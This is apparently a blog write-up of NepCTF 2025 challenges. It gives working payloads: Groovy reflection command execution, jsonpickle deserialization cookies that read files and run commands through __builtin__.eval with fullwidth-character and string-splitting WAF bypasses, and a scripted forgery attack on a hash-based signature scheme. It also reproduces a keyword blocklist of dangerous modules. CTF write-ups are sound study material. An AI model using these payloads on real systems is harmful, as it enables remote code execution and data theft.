NepCTF 2025 wp

NepCTF 2025 wp

Web

一、easyGooGooVVVY

image-20250728002548760

打开题目看到输入框,直接输入代码就行,而且因为 Groovy 完美支持 Java 反射,payload如下

1
2
3
4
5
6
this.getClass().forName("java.lang.Runtime")
.getMethod("getRuntime")
.invoke(null)
.exec("env")
.getInputStream()
.text

image-20250728010320158

拿到flag

二、RevengeGooGooVVVY

大概是题出了点问题,我拿上个题的payload直接过了,题目给了源码,但因为直接过了,也没有仔细看

image-20250726002903034

三、safe_bank

先登录注册

进到界面里面

image-20250726214943384

好的,这种情况一般都是要从cookie入手,看一下,

image-20250726215102723

可以看到之前还有一个关于页,看看

image-20250726215821913

image-20250726220039107

看关于页和cookie base64解码得到{"py/object": "__main__.Session", "meta": {"user": "yuhua", "ts": 1753537762}}

user换成admin试试

image-20250726220917458

ok但是假flag,回归到之前的关于页,很明显是在考察jsonpickle反序列化,尝试了很多payload,但是都被过滤,最后发现有两个payload可以用,都要base64编码后放入cookie可用

1
2
3
4
5
6
7
8
9
10
11
//可以任意读文件
{
"py/object": "__main__.Session",
"meta": {
"user": {
"py/object": "linecache.getlines",
"py/newargs": ["文件名"]
},
"ts": 1715676453
}
}
1
2
3
4
5
6
7
8
9
10
11
//可以列出目录
{
"py/object": "__main__.Session",
"meta": {
"user": {
"py/object": "glob.glob",
"py/newargs": ["/*"]
},
"ts": 1715676453
}
}

虽然可以任意读文件了,但是/flag读不出来,应该是权限问题,列出根目录
image-20250728011037174

可以看到根目录信息在用户名处显示,/flag读不了,但是可以看到根目录还有一个/readflag于是猜测要rce去运行/readflag来获得flag,问题就是怎么rce

因为可以任意读文件,先获取源码

1
2
3
4
5
6
7
8
9
10
11
{
"py/object": "__main__.Session",
"meta": {
"user": {
"py/object": "linecache.getlines", //因为reduce也被禁了,而py/object起到的效果差不多,所以用py/object
"py/newargs": ["/app/app.py"]
},
"ts": 1715676453
}
}
ewogICJweS9vYmplY3QiOiAiX19tYWluX18uU2Vzc2lvbiIsCiAgIm1ldGEiOiB7CiAgICAidXNlciI6IHsKICAgICJweS9vYmplY3QiOiAibGluZWNhY2hlLmdldGxpbmVzIiwKICAgICJweS9uZXdhcmdzIjogWyIvYXBwL2FwcC5weSJdCn0sCiAgICAidHMiOiAxNzE1Njc2NDUzCiAgICB9Cn0=

image-20250728011559742

比较难看,整理一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
from flask import Flask, request, make_response, render_template, redirect, url_for
import jsonpickle
import base64
import json
import os
import time

app = Flask(__name__)
app.secret_key = os.urandom(24)

class Account:
def __init__(self, uid, pwd):
self.uid = uid
self.pwd = pwd

class Session:
def __init__(self, meta):
self.meta = meta
users_db = [
Account("admin", os.urandom(16).hex()),
Account("guest", "guest")
]
def register_user(username, password):
for acc in users_db:
if acc.uid == username:
return False
users_db.append(Account(username, password))
return True

FORBIDDEN = [
'builtins', 'os', 'system', 'repr', '__class__', 'subprocess', 'popen', 'Popen', 'nt',
'code', 'reduce', 'compile', 'command', 'pty', 'platform', 'pdb', 'pickle', 'marshal',
'socket', 'threading', 'multiprocessing', 'signal', 'traceback', 'inspect', '\\\\', 'posix',
'render_template', 'jsonpickle', 'cgi', 'execfile', 'importlib', 'sys', 'shutil', 'state',
'import', 'ctypes', 'timeit', 'input', 'open', 'codecs', 'base64', 'jinja2', 're', 'json',
'file', 'write', 'read', 'globals', 'locals', 'getattr', 'setattr', 'delattr', 'uuid',
'__import__', '__globals__', '__code__', '__closure__', '__func__', '__self__', 'pydoc',
'__module__', '__dict__', '__mro__', '__subclasses__', '__init__', '__new__'
]
def waf(serialized):
try:
data = json.loads(serialized)
payload = json.dumps(data, ensure_ascii=False)
for bad in FORBIDDEN:
if bad in payload:
return bad
return None
except:
return "error"
@app.route('/')
def root():
return render_template('index.html')
@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
confirm_password = request.form.get('confirm_password')

if not username or not password or not confirm_password:
return render_template('register.html', error="所有字段都是必填的。")

if password != confirm_password:
return render_template('register.html', error="密码不匹配。")

if len(username) < 4 or len(password) < 6:
return render_template('register.html', error="用户名至少需要4个字符,密码至少需要6个字符。")

if register_user(username, password):
return render_template('index.html', message="注册成功!请登录。")
else:
return render_template('register.html', error="用户名已存在。")

return render_template('register.html')
@app.post('/auth')
def auth():
u = request.form.get("u")
p = request.form.get("p")
for acc in users_db:
if acc.uid == u and acc.pwd == p:
sess_data = Session({'user': u, 'ts': int(time.time())})
token_raw = jsonpickle.encode(sess_data)
b64_token = base64.b64encode(token_raw.encode()).decode()
resp = make_response("登录成功。")
resp.set_cookie("authz", b64_token)
resp.status_code = 302
resp.headers['Location'] = '/panel'
return resp
return render_template('index.html', error="登录失败。用户名或密码无效。")
@app.route('/panel')
def panel():
token = request.cookies.get("authz")
if not token:
return redirect(url_for('root', error="缺少Token。"))

try:
decoded = base64.b64decode(token.encode()).decode()
except:
return render_template('error.html', error="Token格式错误。")

ban = waf(decoded)
if waf(decoded):
return render_template('error.html', error=f"请不要黑客攻击!{ban}")

try:
sess_obj = jsonpickle.decode(decoded, safe=True)
meta = sess_obj.meta

if meta.get("user") != "admin":
return render_template('user_panel.html', username=meta.get('user'))

return render_template('admin_panel.html')
except Exception as e:
return render_template('error.html', error=f"数据解码失败。")
@app.route('/vault')
def vault():
token = request.cookies.get("authz")
if not token:
return redirect(url_for('root'))

try:
decoded = base64.b64decode(token.encode()).decode()
if waf(decoded):
return render_template('error.html', error="请不要尝试黑客攻击!")
sess_obj = jsonpickle.decode(decoded, safe=True)
meta = sess_obj.meta

if meta.get("user") != "admin":
return render_template('error.html', error="访问被拒绝。只有管理员才能查看此页面。")

flag = "NepCTF{fake_flag_this_is_not_the_real_one}"

return render_template('vault.html', flag=flag)
except:
return redirect(url_for('root'))


if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000, debug=False)

重点在于被禁的字符串,看了半天,能禁的都禁了,但没有禁eval,说明应该要用eval,那从哪可以利用到eval呢?

在 Python 中,eval() 函数属于 builtins 模块,但是builtins被禁了,这时候就要看jsonpickle的源码实现
在调试jsonpickle源码过程中发现util.py中有一个函数translate_module_name()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def translate_module_name(module):
"""Rename builtin modules to a consistent module name.

Prefer the more modern naming.

This is used so that references to Python's `builtins` module can
be loaded in both Python 2 and 3. We remap to the "__builtin__"
name and unmap it when importing.

Map the Python2 `exceptions` module to `builtins` because
`builtins` is a superset and contains everything that is
available in `exceptions`, which makes the translation simpler.

See untranslate_module_name() for the reverse operation.
"""
lookup = dict(__builtin__='builtins', exceptions='builtins')
return lookup.get(module, module)

这个函数将__builtin__exceptions都视作builtins,那这样就可以拿到eval了,之后只需要绕过就好了,最终payload如下

1
2
3
4
5
6
7
8
9
10
11
{
"py/object": "__main__.Session",
"meta": {
"user": {
"py/object": "__builtin__.eval",
"py/newargs": ["sys.modules['o'+'s'].system('../.././r'+'eadflag > 2.txt')"] //sys和system被过滤,尝试用全角字符绕过,可行,os和re被过滤,字符拼接,因为结果输出在文件中
},
"ts": 1715676453
}
}
ewogICJweS9vYmplY3QiOiAiX19tYWluX18uU2Vzc2lvbiIsCiAgIm1ldGEiOiB7CiAgICAidXNlciI6IHsKICAgICJweS9vYmplY3QiOiAiX19idWlsdGluX18uZXZhbCIsCiAgICAicHkvbmV3YXJncyI6IFsi772T772Zcy7vvY3vvY/vvYTvvZXvvYzvvYXvvZNbJ28nKydzJ10u772T772Z772T772U772F772NKCcuLi8uLi8uL3InKydlYWRmbGFnID4gMi50eHQnKSJdCn0sCiAgICAidHMiOiAxNzE1Njc2NDUzCiAgICB9Cn0=
1
2
3
4
5
6
7
8
9
10
11
{
"py/object": "__main__.Session",
"meta": {
"user": {
"py/object": "linecache.getlines",
"py/newargs": ["/app/2.txt"]
},
"ts": 1715676453
}
}
ewogICJweS9vYmplY3QiOiAiX19tYWluX18uU2Vzc2lvbiIsCiAgIm1ldGEiOiB7CiAgICAidXNlciI6IHsKICAgICJweS9vYmplY3QiOiAibGluZWNhY2hlLmdldGxpbmVzIiwKICAgICJweS9uZXdhcmdzIjogWyIvYXBwLzIudHh0Il0KfSwKICAgICJ0cyI6IDE3MTU2NzY0NTMKICAgIH0KfQ==

image-20250728013322629

马后炮提一下

看到别人的Wp中特意提了一下要用py/newargsex而不能用py/newargs这个标签,但是在我的payload中用的正是py/newargs标签,并且可以成功运行拿到flag,这让我感到疑惑,于是我又重新回去调试代码去看了一下

两个标签的主要区别在这一块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
def _restore_object_instance(self, obj, cls, class_name=''):
# This is a placeholder proxy object which allows child objects to
# reference the parent object before it has been instantiated.
proxy = _Proxy()
self._mkref(proxy)

# An object can install itself as its own factory, so load the factory
# after the instance is available for referencing.
factory = self._loadfactory(obj)

if has_tag(obj, tags.NEWARGSEX):
args, kwargs = obj[tags.NEWARGSEX]
else:
args = getargs(obj, classes=self._classes)
kwargs = {}
if args:
args = self._restore(args)
if kwargs:
kwargs = self._restore(kwargs)

is_oldstyle = not (isinstance(cls, type) or getattr(cls, '__meta__', None))
try:
if not is_oldstyle and hasattr(cls, '__new__'):
# new style classes
if factory:
instance = cls.__new__(cls, factory, *args, **kwargs)
instance.default_factory = factory
else:
instance = cls.__new__(cls, *args, **kwargs)
else:
instance = object.__new__(cls)
except TypeError: # old-style classes
is_oldstyle = True

if is_oldstyle:
try:
instance = cls(*args)
except TypeError: # fail gracefully
try:
instance = make_blank_classic(cls)
except Exception: # fail gracefully
self._process_missing(class_name)
return self._mkref(obj)

proxy.reset(instance)
self._swapref(proxy, instance)

if isinstance(instance, tuple):
return instance

instance = self._restore_object_instance_variables(obj, instance)

if _safe_hasattr(instance, 'default_factory') and isinstance(
instance.default_factory, _Proxy
):
instance.default_factory = instance.default_factory.get()

return instance

这个函数主要是 jsonpickle 库中用于从序列化数据还原 Python 对象实例的核心方法,两个标签的对比在这里

1
2
3
4
5
6
7
8
9
if has_tag(obj, tags.NEWARGSEX):
args, kwargs = obj[tags.NEWARGSEX]
else:
args = getargs(obj, classes=self._classes)
kwargs = {}
if args:
args = self._restore(args) # 递归还原参数(参数可能也是序列化对象)
if kwargs:
kwargs = self._restore(kwargs)

像这里我用py/newargs标签的话会直接进else,将kwargs这个参数设为null,然后继续传递args

一般来说用py/newargs标签也会更安全一点,因为只仅传递位置参数(*args,参数是静态传递,而py/newargsex标签是传递位置参数 + 关键字参数(*args, **kwargs,值必须是长度为 2 的列表kwargs处可注入关键字参数覆盖安全设置。

但是为什么在这里用两个都可以进行rce呢?问题还是在eval这个恶意函数上,因为eval不需要关键字参数,它只需要接受一个字符串参数就可以直接运行,而py/newargs这个标签就直接传递了这个字符串参数,所以可以直接运行

如果用py/newargsex这个标签的的话,payload可以这样写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
"py/object": "__main__.Session",
"meta": {
"user": {
"py/object": "__builtin__.eval",
"py/newargsex": [
["sys.modules['o'+'s'].system('../.././r'+'eadflag > 2.txt')"],
{} //eval 不需要什么关键字参数,所以可以为空
]
},
"ts": 1715676453
}
}
ewogICJweS9vYmplY3QiOiAiX19tYWluX18uU2Vzc2lvbiIsCiAgIm1ldGEiOiB7CiAgICAidXNlciI6IHsKICAgICJweS9vYmplY3QiOiAiX19idWlsdGluX18uZXZhbCIsCiAgICAicHkvbmV3YXJnc2V4IjogWwogICAgICAgIFsi772T772Zcy7vvY3vvY/vvYTvvZXvvYzvvYXvvZNbJ28nKydzJ10u772T772Z772T772U772F772NKCcuLi8uLi8uL3InKydlYWRmbGFnID4gMi50eHQnKSJdLCAKICAgICAgICB7fSAgCiAgICAgIF0KfSwKICAgICJ0cyI6IDE3MTU2NzY0NTMKICAgIH0KfQ==

然后再用上面的payload读取/app/2.txt就好了

image-20250730012217887

四、JavaSeri

随便输入用户名和密码,进去看到

image-20250727133905313

发现是apache.shiro,用工具一把梭

image-20250727133951756

image-20250727134003314

Crypto

一、Nepsign

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
from gmssl import sm3
import os
import re
import socket
import ssl
import time

SERVER = "nepctf32-mzgw-wtsu-wjq3-keidpvayz660.nepctf.com"
PORT = 443
TARGET_MSG = b'happy for NepCTF 2025'
HEX_SYMBOLS = '0123456789abcdef'

def SM3(data):
d = [i for i in data]
h = sm3.sm3_hash(d)
return h

def SM3_n(data, n=1, bits=256):
for _ in range(n):
data = bytes.fromhex(SM3(data))
return data.hex()[:bits // 4]

class NepsignAttacker:
def __init__(self):
self.target_steps = self.calculate_target_steps()
self.target_qq = [None] * 48
self.sock = None

def calculate_target_steps(self):
m = SM3(TARGET_MSG)
m_bin = bin(int(m, 16))[2:].zfill(256)
steps = []
for i in range(32):
steps.append(int(m_bin[8*i:8*i+8], 2))
for i in range(16):
steps.append(sum(j+1 for j in range(64) if m[j] == HEX_SYMBOLS[i]) % 255)
return steps

def find_message_for_step(self, idx, target_step):
while True:
msg = os.urandom(16)
m = SM3(msg)
if idx < 32:
byte_val = int(m[2*idx:2*idx+2], 16)
if byte_val <= target_step:
return msg.hex(), byte_val
else:
char = HEX_SYMBOLS[idx-32]
step_val = sum(j+1 for j in range(64) if m[j] == char) % 255
if step_val <= target_step:
return msg.hex(), step_val

def connect(self):
"""带重试机制的连接"""
for attempt in range(3):
try:
context = ssl._create_unverified_context()
raw_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
raw_sock.settimeout(30) # 30秒超时
self.sock = context.wrap_socket(raw_sock, server_hostname=SERVER)
self.sock.connect((SERVER, PORT))
print(f"[+] 连接成功 (尝试 {attempt+1}/3)")
self.recv_until(b'> ')
return True
except Exception as e:
print(f"[!] 连接失败 (尝试 {attempt+1}/3): {str(e)}")
time.sleep(5)
if self.sock:
self.sock.close()
return False

def recv_until(self, delimiter, timeout=30):
"""改进的接收函数"""
data = b''
start_time = time.time()
while time.time() - start_time < timeout:
try:
chunk = self.sock.recv(4096)
if not chunk:
break
data += chunk
if delimiter in data:
return data
except socket.timeout:
print("[!] 接收超时,正在重试...")
continue
raise TimeoutError("接收数据超时")

def safe_send(self, data):
"""安全的发送函数"""
try:
self.sock.sendall(data.encode() + b'\n')
return True
except Exception as e:
print(f"[!] 发送失败: {str(e)}")
return False

def get_signature(self, msg_hex):
if not self.safe_send('1'):
return None
try:
self.recv_until(b'msg: ')
if not self.safe_send(msg_hex):
return None
resp = self.recv_until(b'> ').decode()
if "You can't" in resp:
return None
match = re.search(r'\[.*\]', resp)
return eval(match.group(0)) if match else None
except Exception as e:
print(f"[!] 获取签名时出错: {str(e)}")
return None

def attack(self):
if not self.connect():
print("[!] 无法连接到服务器,请检查网络")
return

try:
for idx in range(48):
print(f"\n[+] 处理第 {idx+1}/48 (目标step={self.target_steps[idx]})")

while True:
msg_hex, current_step = self.find_message_for_step(idx, self.target_steps[idx])
print(f"[-] 尝试消息: {msg_hex} (step={current_step})")

qq_list = self.get_signature(msg_hex)
if qq_list is None:
print("[!] 消息被禁止或获取失败,重试...")
time.sleep(1)
continue

delta = self.target_steps[idx] - current_step
if delta == 0:
self.target_qq[idx] = qq_list[idx]
else:
data = bytes.fromhex(qq_list[idx])
for _ in range(delta):
data = bytes.fromhex(SM3(data))
self.target_qq[idx] = data.hex()

print(f"[+] 完成: {self.target_qq[idx][:16]}...")
break

print("\n[+] 提交签名...")
if not self.safe_send('2'):
return
self.recv_until(b'give me a qq: ')
self.safe_send(str(self.target_qq))
flag = self.recv_until(b'}').decode()
print(f"\n[+] FLAG: {flag}")

except Exception as e:
print(f"[!] 攻击过程中出错: {str(e)}")
finally:
if self.sock:
self.sock.close()
print("[+] 连接已关闭")

if __name__ == "__main__":
attacker = NepsignAttacker()
attacker.attack()

得到flag:[+] FLAG: NepCTF{2255a52b-6a3f-2b23-78f8-769ad5ef2509}


NepCTF 2025 wp
http://example.com/2025/07/25/NepCTF-2025-wp/
作者
yuhua
发布于
2025年7月25日
许可协议